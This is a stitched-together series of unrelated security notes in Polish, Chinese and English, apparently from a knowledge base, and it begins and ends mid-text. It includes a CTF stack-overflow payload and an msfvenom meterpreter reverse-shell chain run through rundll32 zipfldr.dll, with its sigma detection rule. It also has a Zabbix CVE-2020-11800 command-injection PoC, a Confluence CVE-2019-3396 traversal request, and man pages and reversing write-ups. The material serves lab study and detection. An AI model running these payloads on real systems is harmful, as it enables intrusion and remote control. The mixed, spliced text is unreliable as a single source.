], 0x80cdd68 ; "rt" 0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt" 0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen> 0x80489cc: 89 c6 mov esi, eax 0x80489ce: 89 34 24 mov dword [ esp ], esi 0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc> 0x80489d6: 0f b6 c8 movzx ecx, al 0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff 0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d> 0x80489e1: 0f be c8 movsx ecx, al 0x80489e4: 66 0x80489e5: 66 0x80489e6: 66 0x80489e7: 2e 0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] 0x80489f0: 89 0c 24 mov dword [ esp ], ecx 0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar> 0x80489f8: 89 34 24 mov dword [ esp ], esi 0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc> 0x8048a00: 0f be c8 movsx ecx, al 0x8048a03: 0f b6 c0 movzx eax, al 0x8048a06: 3d ff 00 00 00 cmp eax, 0xff 0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50> 0x8048a0d: 89 34 24 mov dword [ esp ], esi 0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose> 0x8048a15: 83 c4 08 add esp, 0x8 0x8048a18: 5e pop esi 0x8048a19: c3 ret 0x8048a1a: 66 0x8048a1b: 0f 1f 44 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] ``` Więc faktycznie jest tu funkcja czytająca i wypisująca flagę. `Checksec` mówi że nie ma na stosie kanarków, więc możemy bez problemów przepełnić bufor na stosie aby nadpisać adres powrotu z funkcji `main()` i skoczyć do funkcji `get_flag`. Jeśli popatrzymy na disasm funkcji main, zobaczymy: ```asm ; function: main at 0x8048a20 -- 0x8048a4f 0x8048a20: 83 ec 3c sub esp, 0x3c 0x8048a23: c7 04 24 91 c3 0b 08 mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? " 0x8048a2a: e8 b1 66 00 00 call 0x804f0e0 <printf> 0x8048a2f: 8d 44 24 04 lea eax, dword [ esp + 0x4 ] 0x8048a33: 89 04 24 mov dword [ esp ], eax 0x8048a36: e8 f5 6b 00 00 call 0x804f630 <function_804f630> 0x8048a3b: 31 c0 xor eax, eax 0x8048a3d: 83 c4 3c add esp, 0x3c 0x8048a40: c3 ret ``` Więc widać że ramka stosu została utworzona przez `sub esp, 0x3c` a więc zaalokowano 60 bajtów na stosie. 4 potrzebne są na adres powrotu, więc musimy przepełnić bufor o 56 bajtów żeby dokopać się do adresu powrotu. Chcemy zmienić ten adres na `0x80489a0`, czyli na początek funkcji `get_flag`. To oznacza że potrzebny payload to: `("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)` Pamiętajmy o odwrotnej kolejności bajtów w adresach! Ale to jeszcze nie wszystko. W kodzie `get_flag` mamy: ```asm 0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f 0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> 0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> ``` Jeśli wykonamy którykolwiek z tych 2 skoków flaga nie zostanie odczytana i wypisana. Musimy więc tak ustawić zmienne na stosie, żeby ominąć te dwa warunki. Za pomocą debuggera możemy szybko wyliczyć że pierwsza wartość z `esp + 0x10` jest tylko 4 bajty powyżej adresu powrotu z main który nadpisaliśmy, więc potrzebujemy rozszerzyć nasz payload do: `("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)` aby ominąć pierwszy warunek. Druga zmienna jest pod `esp + 0x14` więc to po prostu kolejne 4 bajty, więc payload rozszerzamy do: `("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)` Wysyłając taki zestaw danych dostajemy: `3DS{b0f_pr4_c0m3c4r_n3}`
sec-knowleage
# Google CTF 2018 Quals Team: c7f.m0d3, akrasuski1, chivay, rodbert, eternal, sasza, nazywam, monk, shalom ### Table of contents * [Perfect secrecy (crypto)](crypto_secrecy) * [MITM (crypto)](crypto_mitm) * [Dogestore (crypto)](crypto_dogestore) * [Translate (web)](web_translate) * [Cat chat (web)](web_catchat) * [Shall we play a game (re)](re_shallweplay) * [APT42 - Part 1 (re)](apt42-part1) * [Sandbox Compat (pwn)](sandbox_compat) * [Back to the basics (re)](back_to_the_basics) * [Better ZIP (crypto)](better_zip) * [Proprietary format (re)](proprietary_format) * [Tape (misc)](tape) * [Wired csv (misc)](wired_csv)
sec-knowleage
# T1218-011-win-基于白名单Zipfldr.dll执行Payload ## 来自ATT&CK的描述 Rundll32.exe程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码,从而避免触发那些可能不会监控rundll32.exe进程执行的安全工具,因为正常操作中使用rundll32.exe的Windows会有白名单或误报。 Rundll32.exe可用于通过未记录的shell32.dll函数Control_RunDLL和 Control_RunDLLAsUser来执行控制面板项目文件(.cpl)。双击.cpl文件也会触发rundll32.exe执行。 Rundll32也可用于执行JavaScript等脚本。可以使用类似于下面的语法来完成:rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" 。这种方法已被恶意软件如Poweliks所使用。 ## 测试案例 zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件,同样该工具支持WinXP-Win10 全版本,zipfldr.dll所在路径已被系统添加PATH环境变量中,因此zipfldr.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 Windows 2003 默认位置: C:\Windows\System32\zipfldr.dll C:\Windows\SysWOW64\zipfldr.dll Windows 7 默认位置: C:\Windows\System32\zipfldr.dll C:\Windows\SysWOW64\zipfldr.dll ## 检测日志 windows 安全日志(需要自行配置) ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:windows server 2012 ### 攻击分析 #### 生成payload.dll ```bash root@12306Br0:~# msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\x0b' LHOST=192.168.126.146 LPORT=4444 -f exe > shell.exe ``` #### 执行监听 攻击机,注意配置set AutoRunScript migrate f (AutoRunScript是msf中一个强大的自动化的后渗透工具,这里migrate参数是迁移木马到其他进程) ```bash msf5 > use exploits/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 lhost => 192.168.126.146 msf5 exploit(multi/handler) > set lport 4444 lport => 4444 msf5 exploit(multi/handler) > set AutoRunScript migrate f AutoRunScript => migrate f msf5 exploit(multi/handler) > exploit ``` #### 靶机执行payload ```cmd rundll32.exe zipfldr.dll,RouteTheCall .\shell.exe #shell.exe存放路径下执行 ``` #### 反弹shell ```bash msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Sending stage (180291 bytes) to 192.168.126.156 [*] Meterpreter session 6 opened (192.168.126.146:4444 -> 192.168.126.156:49176) at 2020-04-13 10:54:22 +0800 [*] Session ID 6 (192.168.126.146:4444 -> 192.168.126.156:49176) processing AutoRunScript 'migrate f' [!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate. [!] Example: run post/windows/manage/migrate OPTION=value [...] meterpreter > getuid Server username: WIN-IFPMACUK8BT\Administrator ``` ## 测试留痕 安全日志能够清晰的记录命令行参数,截取windows安全事件4688进程创建部分内容: ```log 进程信息: #4688-1 新进程 ID:0x918 新进程名称:C:\Windows\System32\rundll32.exe 令牌提升类型:TokenElevationTypeDefault (1) 创建者进程 ID:0x948 进程命令行:rundll32.exe zipfldr.dll,RouteTheCall .\shell.exe 进程信息: #4688-2 新进程 ID:0x94c 新进程名称:C:\Users\Administrator\Desktop\a\shell.exe 令牌提升类型:TokenElevationTypeDefault (1) 创建者进程 ID:0x918 进程命令行:"C:\Users\Administrator\Desktop\a\shell.exe" ``` ## 检测规则/思路 ### sigma规则 ```yml title: 可疑Rundll32活动 description: 基于参数检测与rundll32相关的可疑进程 status: experimental references: - http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/ - https://twitter.com/Hexacorn/status/885258886428725250 - https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52 tags: - attack.defense_evasion - attack.execution - attack.t1085 logsource: category: process_creation product: windows detection: selection: CommandLine: - '*\rundll32.exe* url.dll,*OpenURL *' - '*\rundll32.exe* url.dll,*OpenURLA *' - '*\rundll32.exe* url.dll,*FileProtocolHandler *' - '*\rundll32.exe* zipfldr.dll,*RouteTheCall *' - '*\rundll32.exe* Shell32.dll,*Control_RunDLL *' - '*\rundll32.exe javascript:*' - '* url.dll,*OpenURL *' - '* url.dll,*OpenURLA *' - '* url.dll,*FileProtocolHandler *' - '* zipfldr.dll,*RouteTheCall *' - '* Shell32.dll,*Control_RunDLL *' - '* javascript:*' - '*.RegisterXLL*' condition: selection falsepositives: - False positives depend on scripts and administrative tools used in the monitored environment level: medium ``` ### 建议 可根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略Sysmon。 ## 参考推荐 MITRE-ATT&CK-T1085 <https://attack.mitre.org/techniques/T1085/> 基于白名单的Payload <https://blog.csdn.net/weixin_30790841/article/details/101848854>
sec-knowleage
# Zabbix Server trapper命令注入漏洞(CVE-2020-11800) Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。在[CVE-2017-2824][1]中,其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。 参考链接: - https://xz.aliyun.com/t/8991 ## 环境搭建 执行如下命令启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库: ``` docker compose up -d ``` 命令执行后,执行`docker compose ps`查看容器是否全部成功启动,如果没有,可以尝试重新执行`docker compose up -d`。 利用该漏洞,需要你服务端开启了自动注册功能,开启方法请参考[CVE-2017-2824][1]。 ## 漏洞复现 修改[CVE-2017-2824][1]的POC中的IP字段,构造新的POC: ```python import sys import socket import json import sys def send(ip, data): conn = socket.create_connection((ip, 10051), 10) conn.send(json.dumps(data).encode()) data = conn.recv(2048) conn.close() return data target = sys.argv[1] print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"})) for i in range(10000, 10500): data = send(target, {"request":"command","scriptid":1,"hostid":str(i)}) if data and b'failed' not in data: print('hostid: %d' % i) print(data) ``` 当查看到如下结果时,则说明命令执行成功: ![](1.png) 进入server容器,可见`/tmp/success2`已成功创建: ![](2.png) 有兴趣的同学可以对这个POC进行改进,提交Pull Request。 [1]: ../CVE-2017-2824
sec-knowleage
# Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396) Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。 参考资料: - https://paper.seebug.org/884/ - https://jira.atlassian.com/browse/CONFSERVER-57974 ## 环境搭建 执行如下命令启动一个Confluence Server 6.10.2: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8090`会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书: ![](1.png) 然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。 如果提示填写cluster node,路径填写`/home/confluence`即可: ![](4.png) 后续可能要求你填写数据库账号密码,选择postgres数据库,地址为`db`,账号密码均为`postgres`: ![](5.png) ## 漏洞复现 发送如下数据包,即可读取文件`web.xml`: ``` POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: localhost:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& Content-Type: application/json; charset=utf-8 Content-Length: 176 {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}} ``` ![](6.png) 6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用`file:///etc/passwd`来读取文件,也可以通过`https://...`来加载远程文件。 该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令: ![](7.png)
sec-knowleage
version: '2' services: web: image: vulhub/imagemagick:7.0.8-10-php command: php -t /var/www/html -S 0.0.0.0:8080 volumes: - ./index.php:/var/www/html/index.php ports: - "8080:8080"
sec-knowleage
xset === 设置X-Window系统中的用户爱好的实用工具 ## 补充说明 **xset命令** 是设置X-Window系统中的用户爱好的实用工具。 ### 语法 ```shell xset(选项)(参数) ``` ### 选项 ```shell -b:蜂鸣器开关设置; -c:键盘按键声响设置。 ``` ### 参数 * c:键盘按键声响设置; * s:屏幕保护程序设置。
sec-knowleage
# Shall we play a game (re 113p, 111 solved) This turned out to be a very annoying challenge, because I was working on the x86 version of it, and it was broken and didn't give the proper flag. As a result I solved this task 3 times, with 3 different methods, which is worth writing down. The challenge is a simple [Android App](app.apk) with tic-tac-toe game. We need to win 1M times to get the flag. The code is not pure Java - there is also a native library with a single function. Since the library was provided for ARM, x86 and x64 I was using x86 emulator, which is much faster than ARM, and this was a mistake, most likely not anticipated by the author. My first approach to the task was to Reverse Engineer the code and figure out how the flag is calculated. I didn't know Smali very well so I was not eager to dive into patching the app at this point. I got the [decompiled code](app_source.zip) and started looking at what was happening there. The important bits were (labelled by me): ```java Object f2329n = C0644N.m3217_(Integer.valueOf(3), C0644N.f2341h, Long.valueOf((((((((1416127776 + 1869507705) + 544696686) + 1852403303) + 544042870) + 1696622963) + 544108404) + 544501536) + 1886151033)); int winCounter; boolean gameEnd; byte[] f2332q = new byte[32]; byte[] f2333r = new byte[]{(byte) -61, (byte) 15, (byte) 25, (byte) -115, (byte) -46, (byte) -11, (byte) 65, (byte) -3, (byte) 34, (byte) 93, (byte) -39, (byte) 98, (byte) 123, (byte) 17, (byte) 42, (byte) -121, (byte) 60, (byte) 40, (byte) -60, (byte) -112, (byte) 77, (byte) 111, (byte) 34, (byte) 14, (byte) -31, (byte) -4, (byte) -7, (byte) 66, (byte) 116, (byte) 108, (byte) 114, (byte) -122}; public GameActivity() { C0644N.m3217_(Integer.valueOf(3), C0644N.f2342i, this.f2329n, this.f2332q); this.winCounter = 0; this.gameEnd = false; } void showFlag() { Object _ = C0644N.m3217_(Integer.valueOf(0), C0644N.f2334a, Integer.valueOf(0)); Object _2 = C0644N.m3217_(Integer.valueOf(1), C0644N.f2335b, this.f2332q, Integer.valueOf(1)); C0644N.m3217_(Integer.valueOf(0), C0644N.f2336c, _, Integer.valueOf(2), _2); ((TextView) findViewById(R.id.score)).setText(new String((byte[]) C0644N.m3217_(Integer.valueOf(0), C0644N.f2337d, _, this.f2333r))); endTheGame(); } void finishRound() { for (int i = 0; i < 3; i++) { for (int i2 = 0; i2 < 3; i2++) { this.f2327l[i2][i].m3222a(C0648a.EMPTY, 25); } } animateSomething(); this.winCounter++; Object _ = C0644N.m3217_(Integer.valueOf(2), C0644N.f2338e, Integer.valueOf(2)); C0644N.m3217_(Integer.valueOf(2), C0644N.f2339f, _, this.f2332q); this.f2332q = (byte[]) C0644N.m3217_(Integer.valueOf(2), C0644N.f2340g, _); if (this.winCounter == 1000000) { showFlag(); return; } ((TextView) findViewById(R.id.score)).setText(String.format("%d / %d", new Object[]{Integer.valueOf(this.winCounter), Integer.valueOf(1000000)})); } ``` There are some constants at the top, but all the rest interesting parts use the `C0644N.m3217_` which is the native function call. The native code didn't look very promising, so I decided to use a debugger to check what those calls do. For this reason I started a new Android NDK Project, added the native lib to this project and cloned the computation part of the code (skipping all the animations, sounds etc). With this setup I could stop the debugger after each of the native calls and see what got returned. For example the first call in the constructor `C0644N.m3217_(Integer.valueOf(3), C0644N.f2342i, this.f2329n, this.f2332q);` creates a Random object and uses it to fill the buffer. Native calls in the `showFlag` function do pretty much: ```java Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding"); // Cipher cipher = (Cipher) N.callNativeFun(0, N.f2334a, 0); SecretKeySpec key = new SecretKeySpec(this.keyBuffer, "AES"); // Object key = N.callNativeFun(1, N.f2335b, this.keyBuffer, 1); cipher.init(Cipher.DECRYPT_MODE, key); // N.callNativeFun(0, N.f2336c, cipher, 2, key); Object decryptedFlag = cipher.doFinal(this.encryptedFlag); // Object decryptedFlag = N.callNativeFun(0, N.f2337d, cipher, this.encryptedFlag); String flag = new String((byte[]) decryptedFlag); ``` So they simply decrypt the flag from the buffers using AES-ECB. Finish round function does: ```java void finishRound() { this.winCounter++; try { MessageDigest messageDigestDelegate = MessageDigest.getInstance("SHA-256"); // Object messageDigestDelegate = N.callNativeFun(2, N.f2338e, 2); messageDigestDelegate.update(this.keyBuffer); // N.callNativeFun(2, N.f2339f, messageDigestDelegate, this.keyBuffer); this.keyBuffer = messageDigestDelegate.digest(); // this.keyBuffer = (byte[]) N.callNativeFun(2, N.f2340g, messageDigestDelegate); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } ``` So this function, apart from animations and sounds, calculates SHA256 hash over one of the buffers. The whole "game" logic code boils down to: ```java for (int i = 0; i < 1000000; i++) { finishRound(); } showFlag(); ``` We can add logging to the constructor to recover the initial buffer states, and then simply run the algorithm to recover the flag: ```python import hashlib from Crypto.Cipher import AES def main(): ct = # initial value key = # initial value for i in range(1000000): key = hashlib.sha256(key).digest() encrypt = AES.new(key, AES.MODE_ECB) decrypted = encrypt.decrypt(ct) print(key.encode("hex"), decrypted.encode("hex"), decrypted) main() ``` But since intially we used x86 emulator, the initial buffer values were incorrect and the result turned out not to be a proper flag. We assumed that maybe there are some unusual things happening in the native lib, depending on the iteration steps, and the algorithm we reverse-engineered is not correct, or for some reason Android Java does something differently than the python counterpart. This was still fine, we still had the Android NDK Project, so we could just add some logging for the final flag, and run the Android app on the emulator. And this is what we did, but as can be expected, we got exactly the same results, in both cases - when using pure-java code, and when using calls for the native library. And those results were consistent with what we got from python too. This was strange, but we guessed that maybe the app is doing some strange things we didn't notice, or that maybe decompiler made a mistake somewhere. We were left with last option - patching the Smali code in the app. We started off by disassembling the code: ``` apktool d app.apk ``` By patching we could win the game, and still introduce as little changes to the original apk as possible. We decided to add a loop around the call to the function we labelled `finishRound` in the OnClick handler, and loop over this 1M times, after the first win. To make things faster we also removed the calls to animation and sounds functions: ``` :goto_magic invoke-virtual {p0}, Lcom/google/ctf/shallweplayagame/GameActivity;->n()V iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I if-eqz v0, :cond_3 goto :goto_magic ``` We also added some logging to certain functions, just to know what is going on. For example: ``` .method n()V .locals 10 iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; move-result-object v1 const-string v5, "wins" invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I ``` This tells us how many times we've won already, each time function `n` is called. With such changes we could invoke: ``` apktool b test ``` To make a new apk file. In order to run it we had to sign it as well: ``` jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore app/dist/app.apk alias_name ``` And as might be expected, the result was again identical, but was still not a proper flag. Fortunately at this point someone suggested that maybe we could run this on a real ARM Android device, just to be sure, and it turns out the [patched apk](app_patched.apk) worked like a charm on ARM device and finally gave the flag: `CTF{ThLssOfInncncIsThPrcOfAppls}`
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH MKTEMP 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 mktemp \- 创建一个临时文件或目录 .SH 概述 \fBmktemp\fP [\fI\,选项\/\fP]... [\fI\,模板\/\fP] .SH 描述 .\" Add any additional description here .PP 安全地创建一个临时文件或目录,并打印出其名称。所给定的模板字符串的最后一部分必须包含至少三个连续的“X”。如果没有指定模板字符串,程序将默认使用“tmp.XXXXXXXXXX”并默认启用 \fB\-\-tmpdir\fP 选项。文件创建时权限使用 u+rw,而目录使用 u+rwx,在此基础上再减去 umask 所体现的权限限制。 .TP \fB\-d\fP, \fB\-\-directory\fP 创建一个目录而非文件 .TP \fB\-u\fP, \fB\-\-dry\-run\fP 不要创建任何文件;只打印一个名称(不安全) .TP \fB\-q\fP, \fB\-\-quiet\fP 隐藏文件/目录创建出错时的诊断信息 .TP \fB\-\-suffix\fP=\fI\,后缀名\/\fP 将后缀名附加到模板字符串后;后缀名不能含有斜线。如果模板字符串不以“X”结尾,该选项将默认被选中 .TP \fB\-p\fP 目录, \fB\-\-tmpdir\fP[=\fI\,目录\/\fP] 将模板解释为相对于给定目录;如果未指定目录,在设置了 $TMPDIR 变量时使用这个变量的值,否则使用 \fI\,/tmp\/\fP。使用该选项时,模板不能是绝对路径;与 \fB\-t\fP 不同,模板字符串可以包含斜线,但此时 mktemp 只会创建斜线后的部分 .TP \fB\-t\fP 将模板解释为相对与一个目录的单个文件名部分:该目录在 $TMPDIR 变量已设置时取该变量的值,否则使用 \fB\-p\fP 参数指定的目录,再次将回退至使用 \fI\,/tmp\/\fP [不推荐] .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Jim Meyering 和 Eric Blake 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBmkstemp\fP(3), \fBmkdtemp\fP(3), \fBmktemp\fP(3) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/mktemp> .br 或者在本地使用: info \(aq(coreutils) mktemp invocation\(aq
sec-knowleage
hostnamectl === 查询或更改系统主机名 ## 补充说明 hostnamectl可用于查询和更改系统主机名和相关设置。 ### 语法 ```bash hostnamectl [选项...] 指令 ... ``` ### 指令 ```bash status 显示当前主机名设置 set-hostname NAME 设置系统主机名 set-icon-name NAME 设置主机的图标名称 set-chassis NAME 设置主机的机箱类型 set-deployment NAME 设置主机的部署环境 set-location NAME 设置主机位置 ``` ### 选项 ```bash -h --help 显示此帮助 --version 显示包的版本 --no-ask-password 不提示输入密码 -H --host=[USER@]HOST 在远程主机上操作 -M --machine=CONTAINER 在本地容器上执行操作。指定要连接到的容器名称。 --transient, --static, --pretty 如果调用了status(或者没有给出显式命令)并且指定了其中一个开关,hostnamectl将只打印出这个选定的主机名。 ``` ### 实例 显示主机名设置 ```bash $ hostnamectl status ``` 改变主机名(永久修改,不用重启哦~) ```bash $ sudo hostnamectl set-hostname newname ```
sec-knowleage
--- title: Miranda categories: Information Gathering tags: [kali linux,information gathering,UPNP] date: 2020-11-19 11:10:00 --- ## Miranda包说明 Miranda 是一个基于 Python 的 UPNP (即插即用)的客户端应用,其旨在发现、查询和与 UPNP 型设备交互,特别是互联网网关设备(又称路由器)。它可用于审核网络上启用了 UPNP 设备是否存在漏洞。它的功能包括: - 支持选项补全和命令历史记录的交互 Shell - 被动和主动发现 UPNP 型设备 - 可自定义的搜索引擎查询(查询特定设备或服务) - 完全控制应用程序设置,比如 IP 地址、端口和消息头 - 简单枚举 UPNP 设备、服务、操作和变量 - 输入/输出状态变量与服务操作的关联 - 能够向 UPNP 服务/设备发送操作 - 能够将数据保存到文件中以便以后进行分析和协作 - 命令记录 Miranda建立在Linux系统上并用于Linux系统,并且已经在具有Python 2.5的Linux 2.6内核上进行了测试。但是,由于它是用Python编写的,因此大多数功能应可用于任何受Python支持的平台。Miranda已针对Linksys,D-Link,Belkin 和 ActionTec 等多家供应商的IGD(交互式图形设计系统)进行了测试。默认情况下,所有Python模块均已安装在Linux Mint 5(Ubuntu 8.04)测试系统上。 源码: https://code.google.com/p/mirandaupnptool/ [Miranda 主页](http://code.google.com/p/mirandaupnptool/) | [Kali Miranda Repo](https://gitlab.com/kalilinux/packages/miranda) - 作者:克雷格·赫夫纳(Craig Heffner) - 许可证:MIT ### Miranda 软件包中包含的工具 ##### miranda – UPNP 管理员工具 ```shell root@kali:~# miranda -h 命令行用法: /usr/bin/miranda [选项] -s <结构文件> 从结构文件加载以前的主机数据 -l <日志文件> 记录用户提供的命令到日志文件 -i <接口> 指定要使用的接口的名称(仅Linux,需要root) -u 禁用 show-uniq-hosts-only 选项 -d 启用调试模式 -v 启用详细模式 -h 显示帮助 ``` ### miranda 用法示例 在接口 eth0 ***(-i eth0)*** 上启动,以详细模式 ***(-v)***,然后启动发现模式 ***(msearch)***: ```shell root@kali:~# miranda -i eth0 -v 绑定到接口 eth0 ... 启用详细模式! upnp> msearch 进入'upnp:rootdevice'的发现模式 , 按 Ctl+C 停止... **************************************************************** 来自192.168.1.230:80的SSDP(简单服务发现协议)通知消息 XML 文件位于 http://192.168.1.230:80/description.xml 设备正在运行 FreeRTOS/6.0.5, UPnP/1.0, IpBridge/0.1 ```
sec-knowleage
# Where no man has GOne before! * Category: Reverse Engineering * 300 Points * Solved by the JCTF Team ## Description > In this simple challenge, you need to break the protection in order to extract the flag > > http://revengme.challenges.bsidestlv.com/revengme The link contained a binary file. ## Solution Let's start by running the binary: ```console root@kali:/media/sf_CTFs/bsidestlv/Where_no_man_has_GOne_before# ./revengme Enter your password:test Don't Worry, Relax, Chill and Try harder ``` We need to enter a password. Time to view the disassembly. Since this is a golang binary, we'll use the [golang_renamer.py](https://github.com/ghidraninja/ghidra_scripts) script to restores function names from the stripped Go binary. After the dust from running the script settles, we can take a look at the `main.main` implementation. It's long and complicated, but a single function call stands out: ```c if ((lVar9 == lVar7) && (runtime_memequal_4023F0 ((char)pplVar6,(char)puVar5,(char)local_118,uVar3,in_R8B,in_R9B,local_118,uVar8, lVar7,(char)uVar8), uVar2 = extraout_DL_05, (char)uVar8 != '\0')) { local_f0 = 0x1e; main_ObfStr_488AF0(pplVar6,puVar5,extraout_DL_05,uVar3,in_R8B,in_R9B,&local_18c,0x1e,0x1e,uVar8, lVar9); runtime_convTstring_408B60 ((char)pplVar6,(char)puVar5,extraout_DL_06,(char)uVar8,in_R8B,in_R9B,uVar8,lVar9, local_f0); local_f8 = &DAT_0049a600; fmt_Fprintln_4822C0(pplVar6,(undefined *)puVar5,extraout_DL_07,0x60,in_R8B,in_R9B, &PTR_DAT_004d3a60,DAT_0055b7f0,&local_f8,1,1,lVar10,local_1d8, in_stack_fffffffffffffe30); return; } ``` A single `memequal` call in a program that requests a password? That's worth a breakpoint. ```console gdb-peda$ b *0x00488e99 Breakpoint 2 at 0x488e99 gdb-peda$ r Starting program: /media/sf_CTFs/bsidestlv/Where_no_man_has_GOne_before/revengme [New LWP 1766] [New LWP 1767] Enter your password:aaaaaaaaaa RAX: 0xc00001c0f0 ("BSidesTLV{revenge is best served cold}") RBX: 0x26 ('&') RCX: 0xa ('\n') RDX: 0x26 ('&') RSI: 0xc00001c0c0 ("BSidesTLV{revenge is best served cold}") RDI: 0xc00001c0f0 ("BSidesTLV{revenge is best served cold}") RBP: 0xc00006af88 --> 0xc00006af90 --> 0x4299fc (mov eax,DWORD PTR [rip+0x14d62e] # 0x577030) RSP: 0xc00006ad88 --> 0xc00006ae22 --> 0xe6fed9cfcec3f9e8 RIP: 0x488e99 (cmp QWORD PTR [rsp+0x20],rcx) R8 : 0x1 R9 : 0x0 R10: 0xc00001c0f0 ("BSidesTLV{revenge is best served cold}") R11: 0x0 R12: 0xffffffffffffffff R13: 0x6 R14: 0x5 R15: 0xaa EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x488e8a: call 0x488af0 0x488e8f: mov rax,QWORD PTR [rsp+0x18] 0x488e94: mov rcx,QWORD PTR [rsp+0x40] => 0x488e99: cmp QWORD PTR [rsp+0x20],rcx 0x488e9e: je 0x488f52 0x488ea4: lea rax,[rsp+0xc0] 0x488eac: mov QWORD PTR [rsp],rax 0x488eb0: mov QWORD PTR [rsp+0x8],0x28 [------------------------------------stack-------------------------------------] 0000| 0xc00006ad88 --> 0xc00006ae22 --> 0xe6fed9cfcec3f9e8 0008| 0xc00006ad90 --> 0x26 ('&') 0016| 0xc00006ad98 --> 0x26 ('&') 0024| 0xc00006ada0 --> 0xc00001c0f0 ("BSidesTLV{revenge is best served cold}") 0032| 0xc00006ada8 --> 0x26 ('&') 0040| 0xc00006adb0 --> 0x0 0048| 0xc00006adb8 --> 0x0 0056| 0xc00006adc0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, 